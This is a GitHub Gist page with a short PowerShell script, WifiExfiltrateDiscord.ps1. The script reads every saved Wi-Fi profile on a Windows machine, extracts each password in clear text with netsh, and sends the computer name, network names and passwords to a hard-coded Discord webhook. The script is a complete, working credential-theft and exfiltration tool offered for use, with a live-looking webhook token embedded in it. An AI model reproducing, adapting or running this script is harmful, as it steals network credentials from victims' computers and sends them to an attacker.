Skip to content

Instantly share code, notes, and snippets.

@maikelSec
Created September 23, 2023 21:26
Show Gist options
  • Save maikelSec/898feeca38e8dac12c0cd68520850b5f to your computer and use it in GitHub Desktop.
Save maikelSec/898feeca38e8dac12c0cd68520850b5f to your computer and use it in GitHub Desktop.
WifiExfiltrateDiscord.ps1
#Insert your webhook here
$webhookUri = 'https://discord.com/api/webhooks/1153353105333821462/Do42yheD_mPEh83vjioOj8C3ahjwMIXpbgLHVL-PinweuJgYqAycxeGorT0JUkn3jrF1'
#Get List of SSIDS
$SSIDS = (netsh wlan show profiles | Select-String ': ' ) -replace ".*:\s+"
#A loop to get password for each SSID
$WifiInfo = foreach($SSID in $SSIDS) {
$Password = (netsh wlan show profiles name=$SSID key=clear | Select-String '{LANG VALUE}') -replace ".*:\s+"
New-Object -TypeName psobject -Property @{"SSID"=$SSID;"Password"=$Password}
#Creating the body of your message
$Body = @{
'username' = 'Agent'
'content' = 'Wifi passwords exfiltrated from : ' + ' ' + $env:computername + ' Network : ' + $SSID + ' ' + ' Password : ' + $Password
}
#Send your data using REST method
Invoke-RestMethod -Uri $webhookUri -Method 'post' -Body $Body
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment